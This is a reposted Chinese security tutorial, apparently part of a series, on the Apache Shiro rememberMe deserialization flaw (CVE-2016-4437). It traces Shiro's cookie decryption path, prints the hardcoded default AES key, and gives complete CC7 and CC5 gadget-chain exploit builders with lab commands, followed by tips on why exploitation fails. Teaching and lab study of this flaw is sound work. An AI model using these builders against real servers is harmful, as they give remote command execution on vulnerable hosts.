惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

J
Java Code Geeks
小众软件
小众软件
博客园 - 叶小钗
宝玉的分享
宝玉的分享
博客园_首页
Hugging Face - Blog
Hugging Face - Blog
人人都是产品经理
人人都是产品经理
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
S
SegmentFault 最新的问题
B
Blog RSS Feed
Engineering at Meta
Engineering at Meta
N
Netflix TechBlog - Medium
Google DeepMind News
Google DeepMind News
U
Unit 42
F
Fortinet All Blogs
IT之家
IT之家
Y
Y Combinator Blog
Martin Fowler
Martin Fowler
T
The Blog of Author Tim Ferriss
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
The GitHub Blog
The GitHub Blog
Stack Overflow Blog
Stack Overflow Blog
Blog — PlanetScale
Blog — PlanetScale
酷 壳 – CoolShell
酷 壳 – CoolShell

FreeBuf网络安全行业门户

四大AI编码Agent曝0-Click RCE漏洞,两款尚未修复 - FreeBuf网络安全行业门户 AI驱动恶意软件每小时重写自身,规避特征检测规则 - FreeBuf网络安全行业门户 恶意VS Code项目暗藏One Click攻击路径,攻击者可持久访问开发者工作站 - FreeBuf网络安全行业门户 研究人员借助Claude Opus 5入侵OpenAI论坛,触及内部代码仓库 - FreeBuf网络安全行业门户 26秒攻破11家组织:数百AI代理涌向PaperCut,打印服务器怎么变成了域控跳板 - FreeBuf网络安全行业门户 ThreatsDay发布本周安全动态,自改写Agent、800余漏洞修复在列 - FreeBuf网络安全行业门户 八类错配三条合法命令,AD CS 把域控钥匙签给了攻击者 - FreeBuf网络安全行业门户 Docker Sandboxes曝严重逃逸漏洞,恶意代码可读写macOS主机文件 - FreeBuf网络安全行业门户 从配置即执行到会话劫持:MCP 两种传输方式的安全属性对决 - FreeBuf网络安全行业门户 AI Agent 拿下域控:同一条 AD CS 链路,人打 7.2 秒、AI 打 6 分 17 秒 裸 Codex 把专用 AI 渗透框架的 benchmark 优势抹平了 修复已提交不是已修复,27 天补丁差,AI 把 CVE-2026-85046 武器化压到三周 15 次干净发布,换来 300 家组织的凭据:MCP 供应链投毒的量化测量与驻留防护 OWASP Agent 标准族选型地图:AOS ACS AISVS AST10 四标准实测对照与分期落地指南 FreeBuf早报 | 黑客可租用VectraRAT远控工具;虚假AI交易Agent网站投放窃密木马 - FreeBuf网络安全行业门户 新手勇闯网络安全 | Linux 安全基础(四) - FreeBuf网络安全行业门户 SGLang 的漏洞报告压了 74 天没等来补丁:四周四个洞,自托管 LLM 栈的安全债到期了(CVE-2026-86793) 一封邮件拿 root:Cisco 邮件网关的 9.8 分零日 CVE-2026-76461 只给 3 天修复期 变电站监控系统(SCADA)等保测评:现场最容易被忽略的 7 个坑 - FreeBuf网络安全行业门户 Google推出Agent异常检测系统,可检测工具误用、执行循环与越界行为 - FreeBuf网络安全行业门户 Anthropic 强化 Claude 安全防护:AI 模型在评估中未经授权访问真实系统 黑名单只防了 AWS?Directus 默认配置下 SSRF 直通国产云 metadata 告警堆到 100 万条那天,我决定自己写一个“会用 AI“的安全运营中心 - FreeBuf网络安全行业门户 新手勇闯网络安全 | 网络通信基础(三) - FreeBuf网络安全行业门户 FreeBuf早报 | 宇树G1 EDU人形机器人漏洞可致root级远程代码执行;Claude平台遭攻击 - FreeBuf网络安全行业门户 保障 Claude Code 安全:全新 Compliance API、本地可见性与身份治理 免费路由器 DNS 调整可拦截家庭网络中的恶意软件和钓鱼攻击 - FreeBuf网络安全行业门户 黑客利用信息窃取恶意软件窃取 Claude 登录会话,劫持账户 - FreeBuf网络安全行业门户 奇安信2026半年报:营收跌了14%,亏损却砍半,这笔账怎么算? - FreeBuf网络安全行业门户 出厂即后门:一台深圳路由器里藏着的两个钉子户——SPEAKINGSTONE 与 DARKLANTERN 拆解 - FreeBuf网络安全行业门户
Apache Shiro rememberMe 反序列化漏洞:从 Cookie 到 RCE
关 注 0 文章数 0 关注者 · 2026-08-31 · via FreeBuf网络安全行业门户

Apache Shiro 是一个 Java 安全框架,提供身份认证、授权、加密和会话管理功能。在很多 Java Web 项目中,Shiro 被用来处理登录、权限控制和“记住我”功能。

Shiro 的“记住我”功能通过一个名为rememberMe的 Cookie 实现。用户登录时勾选“记住我”,Shiro 会把用户身份信息序列化后存入这个 Cookie。下次请求时,Shiro 从 Cookie 中读取并恢复用户身份,实现自动登录。Shiro 的特征是:收到无效 rememberMe Cookie 后,响应头会包含Set-Cookie: rememberMe=deleteMe

shiro.png

前两篇已经讲过 Java 原生反序列化机制和 CC 链的构造方法。本文不再重复这些内容,重点讲 Shiro 如何成为反序列化漏洞的新入口,以及 Cookie、加密、密钥和框架数据流在其中的作用。

2. rememberMe Cookie 的处理流程及漏洞原因

Shiro 处理rememberMeCookie 的核心代码分散在几个类中。

2.1 从后端身份信息到前端 rememberMe Cookie

让我们先看看 Shiro 如何生成身份信息并交给前端 rememberMe Cookie 的。如果用户在登录时勾选了“记住我”,就会在提交登录表单时携带 rememberMe 参数,在登录成功后,调用rememberIdentity把用户身份信息传递给convertPrincipalsToBytesAbstractRememberMeManager.java#L345-L348

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    // accountPrincipals 是登录成功后的用户身份信息
    // convertPrincipalsToBytes() 会把身份信息转换成字节数组
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    // 把转换后的字节数组写入 rememberMe Cookie
    rememberSerializedIdentity(subject, bytes);
}

convertPrincipalsToBytes()会先序列化身份信息,再进行 AES 加密:AbstractRememberMeManager.java#L359-L365

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    // 第一步:把 PrincipalCollection 序列化成 Java 原生序列化字节数组
    byte[] bytes = serialize(principals);
    if (getCipherService() != null) {
        // 第二步:对序列化后的字节数组做 AES 加密
        bytes = encrypt(bytes);
    }
    // 返回的 bytes 已经是加密后的字节数组
    return bytes;
}

encrypt()中调用cipherService.encrypt(),并使用getEncryptionCipherKey()取 AES 加密密钥:AbstractRememberMeManager.java#L469-L477

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        // serialized 是 Java 原生序列化数据
        // getEncryptionCipherKey() 返回 rememberMe 的 AES 加密密钥
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        // value 是 AES 加密后的字节数组
        value = byteSource.getBytes();
    }
    return value;
}

最后rememberSerializedIdentity()把 AES 加密后的字节数组做 Base64 编码,并写入前端 Cookie:CookieRememberMeManager.java#L135-L158

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
    // 省略 HTTP 上下文检查...

    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);

    // serialized 是 AES 加密后的字节数组
    // 这里做 Base64 编码,变成适合放入 Cookie 的字符串
    String base64 = Base64.encodeToString(serialized);

    Cookie template = getCookie();
    Cookie cookie = new SimpleCookie(template);
    // 把 Base64 字符串设置为 rememberMe Cookie 的值
    cookie.setValue(base64);
    // 通过 Set-Cookie 响应头写回浏览器
    cookie.saveTo(request, response);
}

整个流程如下:

  • 用户勾选“记住我”,登录成功后,调用rememberIdentity把用户身份信息传递给convertPrincipalsToBytes

  • 调用serialize序列化身份信息

  • 再调用encryptAES 加密,然后交给rememberSerializedIdentity

  • 调用Base64.encodeToString做 Base64 编码

  • 调用cookie.setValue设置 rememberMe Cookie 的值

  • 调用cookie.saveTo写入响应头

2.2 从前端 rememberMe Cookie 到 Java 对象恢复

现在看看数据是怎么从前端 rememberMe Cookie 进入readObject()的。

Shiro 先从 HTTP 请求中获取rememberMeCookie 的值,并做 Base64 解码:CookieRememberMeManager.java#L185-L224

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

    if (!WebUtils.isHttp(subjectContext)) {
        if (log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                    "immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    }

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (isIdentityRemoved(wsc)) {
        return null;
    }

    // 从 HTTP 请求中取出 rememberMe Cookie 的值
    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);
    String base64 = getCookie().readValue(request, response);

    // Browsers do not always remove cookies immediately (SHIRO-183)
    // ignore cookies that are scheduled for removal
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        // 对 Cookie 值做 Base64 解码,返回字节数组
        byte[] decoded = Base64.decode(base64);
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;
    } else {
        //no cookie set - new site visitor?
        return null;
    }
}

getRememberedPrincipals()会把getRememberedSerializedIdentity()返回的decoded字节数组交给convertBytesToPrincipals()AbstractRememberMeManager.java#L390-L403

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        // bytes 就是 CookieRememberMeManager 中 Base64.decode(base64) 返回的字节数组
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        // 只有拿到 rememberMe Cookie 数据后,才继续解密和反序列化
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

convertBytesToPrincipals()会对bytes做 AES 解密,然后把解密后的字节数组交给deserialize()AbstractRememberMeManager.java#L427-L432

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        // bytes 是 Base64 解码后的 Cookie 数据
        // decrypt(bytes) 会使用 AES 密钥解密,返回原始序列化数据
        bytes = decrypt(bytes);
    }
    // 解密后的 bytes 继续进入 deserialize()
    return deserialize(bytes);
}

decrypt()中真正调用cipherService.decrypt(),并使用getDecryptionCipherKey()取 AES 解密密钥:AbstractRememberMeManager.java#L485-L493

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        // encrypted 是 Base64 解码后的 Cookie 数据
        // getDecryptionCipherKey() 返回 rememberMe 的 AES 解密密钥
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        // serialized 是 AES 解密后的 Java 原生序列化数据
        serialized = byteSource.getBytes();
    }
    return serialized;
}

最终deserialize()调用Serializer接口,默认实现是DefaultSerializer。它内部创建ObjectInputStream并调用readObject()DefaultSerializer.java#L67-L84

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    // serialized 是 AES 解密后的 Java 原生序列化数据
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        // source 入口:Cookie 中的攻击数据最终进入 readObject()
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

总结一下 Shiro 处理rememberMeCookie 的流程:

  • 先从 HTTP 请求中获取rememberMeCookie 的值:CookieRememberMeManager.getRememberedSerializedIdentity()

  • 对 Cookie 值做 Base64 解码:Base64.decode(base64)

  • 把 Base64 解码后的 Cookie 数据交给convertBytesToPrincipals()

  • 调用decrypt()做 AES 解密

  • 把 AES 解密后的字节数组交给deserialize()进行反序列化

  • 反序列化后的对象会进入ObjectInputStream.readObject(),触发危险调用路径

设计上看起来挺安全的,序列化数据经过了加密和 Base64 编码后才交给前端,相当于上了一把锁,只要 AES 密钥不泄露,解密不成功的数据就会被丢弃,不会被ObjectInputStream.readObject()调用。

但是问题出在了没有遵循默认安全原则,默认 AES 密钥硬编码在了代码中。AbstractRememberMeManager.java#L80

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

这就导致攻击者可以用这个密钥加密任意的序列化数据,然后通过rememberMeCookie 传递给 Shiro,它就会自己解密并反序列化数据,结合上篇的 CC 链就可获取服务器控制权,具体用哪个 CC 链,取决于业务运行环境中的 Java 版本和 jar 组件和版本。这就是 Apache Shiro rememberMe 反序列化漏洞的原因,只要获得了 AES 密钥,就可以获取服务器权限。

这个漏洞业内通常称为 Shiro 550(对应 CVE-2016-4437)。受影响版本为 Shiro < 1.2.5,该版本范围内部署了硬编码的 AES 密钥。实际中并不是只有这一个密钥,不同项目可能使用不同的硬编码密钥,很多 Shiro 利用工具内置了数百个常见密钥的字典,通过尝试rememberMeCookie 解密是否成功来爆破密钥,爆破成功后就可以利用 CC 链获取服务器权限。

3. 搭建 Lab 环境验证漏洞

为了让实验更接近真实场景,这里把 Lab 拆成两部分:

  1. 漏洞环境:一个使用 Shiro 1.2.4 的 Web 登录页面,用户输入用户名、密码,勾选“记住我”后提交。服务端生成和解析 Cookie。

  2. 攻击代码:单独构造恶意 rememberMe Cookie 的代码。

目录结构如下:

shiro550-lab/
├── attacker/
│   ├── out/
│   ├── Shiro550AttackBuilder.java        # 使用 CC7 构建恶意序列化数据的代码
│   └── Shiro550CC5AttackBuilder.java     # 使用 CC5 构建恶意序列化数据的代码
├── lib/
│   ├── commons-collections-3.2.1.jar
│   ├── shiro-core-1.2.4.jar              # Shiro 核心依赖
│   └── slf4j-api-1.7.7.jar               # Shiro 运行时依赖,用于日志记录
└── vulnerable-server/
    ├── out/
    └── Shiro550VulnerableServer.java     # 漏洞环境代码

Lab 地址:https://github.com/NHPT/Java-Deserialization-Lab/tree/main/shiro550-lab

lib 目录就是业务环境的 classpath,其中是业务环境和攻击者代码依赖的 jar 包下载地址:

本文使用 JDK 自带的HttpServer搭登录页,同时复用shiro-core-1.2.4.jar中的AbstractRememberMeManagerAesCipherServiceDefaultSerializer

按实际业务场景使用 Shiro 的 rememberMe 逻辑,Shiro550VulnerableServer.java代码:Shiro550VulnerableServer.java

3.1 CC7 利用漏洞

这里我们先使用 CC7 来作为本文实验的 gadget 链。前面的文字我们已经学习了 HashMap 和 LazyMap,现在我们用一段示例代码学习 CC7 中需要的 Hashtable 的用法:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7MethodDemo {
    // 定义一个 LoggingTransformer 类,实现了 Transformer 接口和 Serializable 接口
    private static class LoggingTransformer implements Transformer, Serializable {
        private static final long serialVersionUID = 1L;
        // 实现 Transformer 接口的 transform() 方法,打印 key 并返回 2
        // 我们不手动调用 transform(),让我们看看它如何被调用
        @Override
        public Object transform(Object input) {
            System.out.println("- transform 方法被调用,key = " + input);
            return 2;
        }
    }

    public static void main(String[] args) throws Exception {
        // 创建一个 LoggingTransformer 实例
        LoggingTransformer tableTransformer = new LoggingTransformer();
        // 创建两个 HashMap 实例,作为原始 Map 实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        // 用 LazyMap 装饰 innerMap1 和 innerMap2
        Map lazyMap1 = LazyMap.decorate(innerMap1, tableTransformer);
        Map lazyMap2 = LazyMap.decorate(innerMap2, tableTransformer);

        // 给 lazyMap1 和 lazyMap2 添加 key-value 对
        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);
        // 打印 hashCode() 结果,可以看到 "yy" 和 "zZ" 的 hashCode() 相同,所以 lazyMap1 和 lazyMap2 的 hashCode() 相同
        System.out.println("\"yy\".hashCode() = " + "yy".hashCode());
        System.out.println("\"zZ\".hashCode() = " + "zZ".hashCode());
        System.out.println("lazyMap1.hashCode() = " + lazyMap1.hashCode());
        System.out.println("lazyMap2.hashCode() = " + lazyMap2.hashCode());
        System.out.println();

        // 创建一个 Hashtable 实例,
        Hashtable table = new Hashtable();
        // 添加 lazyMap 装饰后的实例作为 key 的键值对给 Hashtable 实例
        // 因为 LazyMap 的 equals() 方法会触发 LazyMap.get() 方法
        table.put(lazyMap1, 1);
        table.put(lazyMap2, 2);

        // 第二次 table.put(lazyMap2, 2) 时,因为 lazyMap1 和 lazyMap2 的 hashCode 相同,Hashtable 会进一步调用 equals() 方法比较这两个 key 是否相等。
        // 比较过程中会触发 LazyMap.get(),并让 LazyMap 自动补上对方的 key。删掉这些临时补上的 key,可以保证在反序列化时触发 factory.transform() 方法
        lazyMap1.remove("zZ");
        lazyMap2.remove("yy");

        // 序列化 Hashtable 实例,序列化后的字节数组赋值给 bytes
        ByteArrayOutputStream bytes = new ByteArrayOutputStream();
        try (ObjectOutputStream out = new ObjectOutputStream(bytes)) {
            out.writeObject(table);
        }

        System.out.println("- 反序列化过程");
        // 反序列化 Hashtable 实例
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes.toByteArray()))) {
            in.readObject();
        }
    }
}

编译运行:

cd shiro550-lab
# 将上面的代码保存为 CC7MethodDemo.java
javac -encoding UTF-8 -cp 'lib/*' CC7MethodDemo.java
java -cp '.:lib/*' CC7MethodDemo

输出结果为:

"yy".hashCode() = 3872
"zZ".hashCode() = 3872
lazyMap1.hashCode() = 3873
lazyMap2.hashCode() = 3873

- transform 方法被调用,key = yy
- 反序列化过程
- transform 方法被调用,key = yy

我们没有手动调用transform()方法,但却被调用了两次,一次是table.put(lazyMap2, 2);时,一次是反序列化 Hashtable 时。可见,Hashtable 会在以 LazyMap 为 key 的情况下调用 hashCode 方法,当 hashCode 值相同时调用LazyMap.equals()方法,从而触发调用LazyMap.get()方法,当发现目标 key 不存在时,调用factory.transform()方法。

理解这个桥梁后,再结合上篇提到的 CC7 链和本 Lab 的 source 入口,我们就可以构造如下调用链:

  • source 入口:ObjectInputStream.readObject()方法

  • 反序列化 Hashtable 对象时,进入Hashtable.readObject()方法

  • Hashtable.readObject()恢复 key 时,因为两个 LazyMap key 发生 hash 碰撞,触发 key 的 equals 比较

  • LazyMap.equals()间接触发LazyMap.get()方法

  • LazyMap.get()发现目标 key 不存在,调用factory.transform()方法

  • 然后调用ChainedTransformer.transform()方法

  • ChainedTransformer 依次执行五个 Transformer:

    • ConstantTransformer(ProcessBuilder.class)提供起点

    • InvokerTransformer("getConstructor")获取构造方法

    • InvokerTransformer("newInstance")创建 ProcessBuilder 实例

    • InvokerTransformer("inheritIO")让输出继承到终端

    • InvokerTransformer("start")启动进程执行命令

  • sink:id命令被执行,结果输出到终端

现在用代码实现这个过程,代码如下Shiro550AttackBuilder.java:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Shiro550AttackBuilder {
    public static void main(String[] args) throws Exception {
        // 1. 先定义 ChainedTransformer 最终要执行的五个 Transformer。
        Transformer[] realTransformers = new Transformer[]{
                // 第一步:提供 ProcessBuilder.class 作为后续反射调用的起点。
                new ConstantTransformer(ProcessBuilder.class),
                // 第二步:反射调用 ProcessBuilder.class.getConstructor(String[].class),获取构造方法。
                new InvokerTransformer(
                        "getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String[].class}}
                ),
                // 第三步:反射调用 Constructor.newInstance(),创建 ProcessBuilder("id")。
                new InvokerTransformer(
                        "newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new String[]{"id"}}}
                ),
                // 第四步:调用 inheritIO(),让 id 命令输出显示在漏洞环境终端。
                new InvokerTransformer("inheritIO", new Class[0], new Object[0]),
                // 第五步:调用 start(),真正启动进程执行命令。
                new InvokerTransformer("start", new Class[0], new Object[0])
        };

        // 2. 构造 CC7 触发对象图之前,先把 ChainedTransformer 设置成无害链。
        // 前边我们已经看到第二次调用 Hashtable.put() 方法时,会间接触发 factory.transform() 方法。如果此时已经放入 realTransformers,命令会在攻击者本机构造 payload 时提前执行。
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                // 构造 Hashtable 时会发生一次 key 比较。这里返回 2,避免两个 LazyMap 在构造阶段被判断为相等并合并。
                new ConstantTransformer(2)
        });

        // 3. 构造 CC7 的核心对象图:两个 LazyMap 作为 Hashtable 的 key。
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);

        // "yy" 和 "zZ" 的 hashCode 相同,用于让 Hashtable 反序列化时进入 key equals 比较。
        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);

        Hashtable table = new Hashtable();
        table.put(lazyMap1, 1);
        table.put(lazyMap2, 2);

        // 两个方向都删除一次,保证不同 JDK 的 Hashtable 比较顺序下,反序列化时仍会触发 LazyMap.get()。
        lazyMap1.remove("zZ");
        lazyMap2.remove("yy");

        // 4. CC7 对象图准备好后,再把无害 Transformer 数组替换成真实命令链。
        // 这样触发点仍然在 Hashtable / LazyMap,真正执行动作发生在 ChainedTransformer.transform()。
        Field transformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
        transformersField.setAccessible(true);
        transformersField.set(chain, realTransformers);

        // 5. 序列化 CC7 对象图。
        // Shiro 解密 rememberMe 后,最终会把这段字节交给 ObjectInputStream.readObject()。
        ByteArrayOutputStream serializedBytes = new ByteArrayOutputStream();
        try (ObjectOutputStream out = new ObjectOutputStream(serializedBytes)) {
            out.writeObject(table);
        }

        // 6. 使用 Shiro 1.2.4 默认 rememberMe 密钥加密 payload。
        // 这一步只是把 CC7 序列化数据包装成 Shiro 能识别的 rememberMe Cookie。
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService cipherService = new AesCipherService();
        ByteSource encrypted = cipherService.encrypt(serializedBytes.toByteArray(), key);
        String rememberMe = Base64.encodeToString(encrypted.getBytes());

        // 只输出 Cookie 值,方便终端用 COOKIE=$(java ...) 接住后直接发送 HTTP 请求。
        System.out.println(rememberMe);
    }
}

先编译漏洞环境和攻击代码:

# 创建需要的目录
cd shiro550-lab
mkdir -p vulnerable-server/out attacker/out
# 编译漏洞环境
javac -encoding UTF-8 -cp 'lib/*' -d vulnerable-server/out vulnerable-server/Shiro550VulnerableServer.java
# 编译 CC7 攻击代码
javac -encoding UTF-8 -cp 'lib/*' -d attacker/out attacker/Shiro550AttackBuilder.java
# 启动漏洞环境
java -cp 'vulnerable-server/out:lib/*' Shiro550VulnerableServer

启动成功后会看到:

shiro550_lab.png

另开一个终端,在shiro550-lab/目录执行攻击代码:java -cp 'attacker/out:lib/*' Shiro550AttackBuilder,然后就可以看到生成的 rememberMe Cookie 值。

rememberMe_cookie.png

然后提交生成的 rememberMe Cookie 给漏洞环境:

post_cookie.png

在漏洞环境所在的终端会打印id命令执行结果:

shiro_success.png

3.2 CC5 利用漏洞

CC1、CC6、CC7 都学完了,我们再来看看 CC5 的利用方式。CC5 和 CC7 的后半段仍然类似,最终都会进入LazyMap.get()ChainedTransformer.transform()。差异在前半段触发点:

  • CC7:Hashtable->LazyMap

  • CC5:BadAttributeValueExpException->TiedMapEntry->LazyMap

结合上篇提到的 CC5 链和本 Lab 的 source 入口,我们可以构造如下调用链:

  • source 入口:ObjectInputStream.readObject()方法

  • 反序列化BadAttributeValueExpException对象时,进入BadAttributeValueExpException.readObject()方法

  • BadAttributeValueExpException.readObject()恢复val字段时触发val.toString()

  • 如果val字段中保存的是TiedMapEntry,就会进入TiedMapEntry.toString()方法

  • TiedMapEntry.toString()触发TiedMapEntry.getValue()方法

  • TiedMapEntry.getValue()触发LazyMap.get()方法

  • LazyMap.get()发现目标 key 不存在,调用factory.transform()方法

  • 然后调用ChainedTransformer.transform()方法

  • ChainedTransformer 依次执行五个 Transformer:

    • ConstantTransformer(ProcessBuilder.class)提供起点

    • InvokerTransformer("getConstructor")获取构造方法

    • InvokerTransformer("newInstance")创建 ProcessBuilder 实例

    • InvokerTransformer("inheritIO")让输出继承到终端

    • InvokerTransformer("start")启动进程执行命令

  • sink:id命令被执行,结果输出到终端

CC5 依赖BadAttributeValueExpException.val字段能保存TiedMapEntry这类对象。在大多数主流JDK 8版本上,CC5依然是有效的,在高版本 JDK中,由于val字段的声明类型发生了变化,导致无法以相同方式构造利用链。所以本文把 CC5 作为兼容性补充链讲解,实际验证建议使用 JDK 8 环境。

CC5 版本的攻击代码如下Shiro550CC5AttackBuilder.java:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Shiro550CC5AttackBuilder {
    public static void main(String[] args) throws Exception {
        // 1. 先定义最终执行命令的 Transformer 链。
        // 这部分和 CC7 后半段一致:最终调用 ProcessBuilder("id").inheritIO().start()。
        Transformer[] realTransformers = new Transformer[]{
                new ConstantTransformer(ProcessBuilder.class),
                new InvokerTransformer(
                        "getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String[].class}}
                ),
                new InvokerTransformer(
                        "newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new String[]{"id"}}}
                ),
                new InvokerTransformer("inheritIO", new Class[0], new Object[0]),
                new InvokerTransformer("start", new Class[0], new Object[0])
        };

        // 2. 构造对象图时先使用无害 Transformer,避免本地构造 payload 时提前执行命令。
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(1)
        });

        // 3. CC5 的核心是 BadAttributeValueExpException -> TiedMapEntry -> LazyMap。
        // 反序列化 BadAttributeValueExpException 时会触发 val.toString()。
        // 如果 val 是 TiedMapEntry,就会继续触发 TiedMapEntry.getValue() -> LazyMap.get()。
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);

        // TiedMapEntry 绑定 LazyMap 和 key。调用 entry.toString() 时会调用 LazyMap.get("shiro")。
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "shiro");

        // 创建 BadAttributeValueExpException 实例,并设置 val 为 null,避免构造阶段提前调用 toString()。
        BadAttributeValueExpException payload = new BadAttributeValueExpException(null);

        // 获取私有字段 val
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");

        // 标准 CC5 依赖 JDK 8 中 val 字段可以保存任意 Object。
        // 高版本 JDK 中该字段已经变成 String,无法再塞入 TiedMapEntry。
        if (!Object.class.equals(valField.getType())) {
            throw new IllegalStateException(
                    "当前 JDK 中 BadAttributeValueExpException.val 字段类型是 "
                            + valField.getType().getName()
                            + ",标准 CC5 需要该字段能保存 Object。请使用 JDK 8 环境验证 CC5。"
            );
        }

        // 把 val 字段替换成 TiedMapEntry
        // 反序列化时,readObject() 调用 val.toString(),才会进入 TiedMapEntry.toString() -> LazyMap.get("shiro")。
        // 因为 LazyMap 不存在 "shiro" 键,所以会触发 factory.transform() 方法。
        valField.setAccessible(true);
        valField.set(payload, entry);

        // 4. 对象图准备好后,再把无害 Transformer 替换成真实命令链。
        Field transformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
        transformersField.setAccessible(true);
        transformersField.set(chain, realTransformers);

        // 5. 序列化 CC5 对象图。
        ByteArrayOutputStream serializedBytes = new ByteArrayOutputStream();
        try (ObjectOutputStream out = new ObjectOutputStream(serializedBytes)) {
            out.writeObject(payload);
        }

        // 6. 使用 Shiro 1.2.4 默认 rememberMe 密钥加密 payload,并输出 Cookie 值。
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService cipherService = new AesCipherService();
        ByteSource encrypted = cipherService.encrypt(serializedBytes.toByteArray(), key);
        String rememberMe = Base64.encodeToString(encrypted.getBytes());

        System.out.println(rememberMe);
    }
}

编译和运行:

javac -encoding UTF-8 -cp 'lib/*' -d attacker/out attacker/Shiro550CC5AttackBuilder.java
java -cp 'attacker/out:lib/*' Shiro550CC5AttackBuilder

4. 审计与防御

4.1 常见失败原因

  1. 密钥不匹配:不同版本的 Shiro 默认密钥可能不同,或者项目自定义了密钥。需要从配置或源码中确认。

  2. Shiro 版本:Shiro 1.2.4 及以下使用固定密钥,1.2.5+ 需要显式配置。高版本如果仍然使用硬编码密钥,漏洞依然存在。

  3. Cookie 长度限制:CC 链的 payload 经过 AES 加密和 Base64 编码后可能很长,浏览器、代理或 Web 容器都可能限制请求头大小,需要调整环境或换用更短的链。

  4. JDK 版本:CC1 链需要 JDK 8u71 以下;CC5 依赖旧版 JDK 中BadAttributeValueExpException.val字段能保存对象;高版本通常换用 CC6、CC7 等触发点。

